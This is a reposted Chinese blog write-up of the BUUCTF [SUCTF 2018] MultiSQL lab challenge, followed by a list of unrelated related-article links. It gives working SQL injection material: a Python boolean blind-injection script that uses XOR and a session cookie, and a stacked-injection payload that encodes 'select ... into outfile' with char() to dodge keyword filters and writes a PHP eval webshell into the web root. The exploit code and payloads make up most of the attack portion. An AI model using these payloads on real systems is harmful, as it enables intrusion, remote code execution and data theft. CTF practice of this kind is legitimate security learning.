博客
关于我
BUUCTF:[SUCTF 2018]MultiSQL --- 堆叠注入 -- 预处理-- 编码,10进制,16进制。
阅读量:404 次
发布时间:2019-03-05

本文共 3941 字,大约阅读时间需要 13 分钟。

目录:

参考:

一、自己做:

这里试addslash来的

在这里插入图片描述

用户信息中,把反斜线去掉展示的

在这里插入图片描述

在注册的用户名进行测试,

将 or , by 空格| 替换成为@
union select or 都过滤了
,然后在尝试 异或^
substr也被过滤了,然后尝试mid试可以的,
但是这个不好使啊2^(if(ascii(mid(user(),1,1))>0,0,1))。注册页面不好使,然后就看WP了

二、 学到的&&不足:

  1. 有时候python脚本跑sql注入的题的时候要带上cookie。

    我这样跑,总是爆500 。见下面的

  2. 学到了sql注入的预处理命令。?id=2;set @sql=char(12,324,23,23,); prepare query from @sql; execute query;

  3. 异或的一点是,:怎么发现的 可以进行堆叠注入的啊,,

  4. 如果一些关键词被那啥了,可以进行编码绕过什么的,比如以前的那些16进制绕过,还有这个10进制绕过

url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''res = requests.get(url=url)print(res.url)print(res.status_code)print(res.text)

带上cookie后才200了

url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''cookie = {   "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}res = requests.get(url=url,cookies = cookie)print(res.url)print(res.status_code)print(res.text)

三、学习WP:

WP:2^(if(ascii(mid(user(),1,1))>0,0,1))。这个行,但是不是在注册页面

在这里插入图片描述

可以修改id值,然后就改变页面,
我们就注入这里

用了这个if语句试可以的

在这里插入图片描述
不用像WP一样加上if,就我们正常的boll盲注就可以,

在这里插入图片描述

1^进行异或的化,正确就是0,不正确才是0,异或后是1.,这时,name会出现admin。
正确的时候是1,异或后是0,name中不是admin,是空。那么我们python脚本抓的时候,就可以抓admin这个字样

然后照着这个思想写了个python脚本

for i in range(1,15):    for j in range(50,155):        url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),{},1))={})'''.format(i,j)        cookie = {   "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}        res = requests.get(url=url,cookies = cookie) # 注意这里要带上cookie才行,不然跑脚本的化,是500        #print(res.url)        print(res.status_code)        #print(res.text)        content = re.findall('

.*

',res.text,re.M|re.I) # findall返回的是一个列表 #print(content) if ("admin" not in content[0]): # 这里用下标取出元素 database = database+chr(j) print(database) break

能跑出来数据库,我没跑完,看WP说flag不在这里面

在这里插入图片描述

然后测试么,过滤了很多东西:

在注册的用户名进行测试,

将 or , by 空格| 替换成为@
union select or 都过滤了
,然后在尝试 异或^
substr也被过滤了,然后尝试mid试可以的,
但是这个不好使啊2^(if(ascii(mid(user(),1,1))>0,0,1))。注册页面不好使,然后就看WP了

堆叠注入,

然后 fuzz测试后发现过滤了unionselect&|,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()绕过,需要执行的语句

select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';

脚本使用10进制:

str = "select '
' into outfile '/var/www/html/favicon/shell.php';"len_str = len(str)for i in range(0,len_str): if i==0: print('char(%s' %ord(str[i]),end='') else: print(',%s' %ord(str[i]),end='')print(')')

结果:

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

自己的脚本:

str = "select '
' into outfile '/var/www/html/favicon/shell.php';"len_str = len(str)print('char(',end='')for i in str: print('%s,' %ord(i),end='') # 最后会多一个,手动删去就好print(')')

结果:

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59,)

然后

payload:

?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

然后访问那个目录下的shell.php

在这里插入图片描述

转载地址:http://ykgg.baihongyu.com/

你可能感兴趣的文章
Linux下的系统监控与性能调优:从入门到精通
查看>>
LiveGBS user/save 逻辑缺陷漏洞复现(CNVD-2023-72138)
查看>>
localhost:5000在MacOS V12(蒙特利)中不可用
查看>>
logstash mysql 准实时同步到 elasticsearch
查看>>
Luogu2973:[USACO10HOL]赶小猪
查看>>
mabatis 中出现&lt; 以及&gt; 代表什么意思?
查看>>
Mac book pro打开docker出现The data couldn’t be read because it is missing
查看>>
MAC M1大数据0-1成神篇-25 hadoop高可用搭建
查看>>
mac mysql 进程_Mac平台下启动MySQL到完全终止MySQL----终端八步走
查看>>
Mac OS 12.0.1 如何安装柯美287打印机驱动,刷卡打印
查看>>
MangoDB4.0版本的安装与配置
查看>>
Manjaro 24.1 “Xahea” 发布!具有 KDE Plasma 6.1.5、GNOME 46 和最新的内核增强功能
查看>>
mapping文件目录生成修改
查看>>
MapReduce程序依赖的jar包
查看>>
mariadb multi-source replication(mariadb多主复制)
查看>>
MariaDB的简单使用
查看>>
MaterialForm对tab页进行隐藏
查看>>
Member var and Static var.
查看>>
memcached高速缓存学习笔记001---memcached介绍和安装以及基本使用
查看>>
memcached高速缓存学习笔记003---利用JAVA程序操作memcached crud操作
查看>>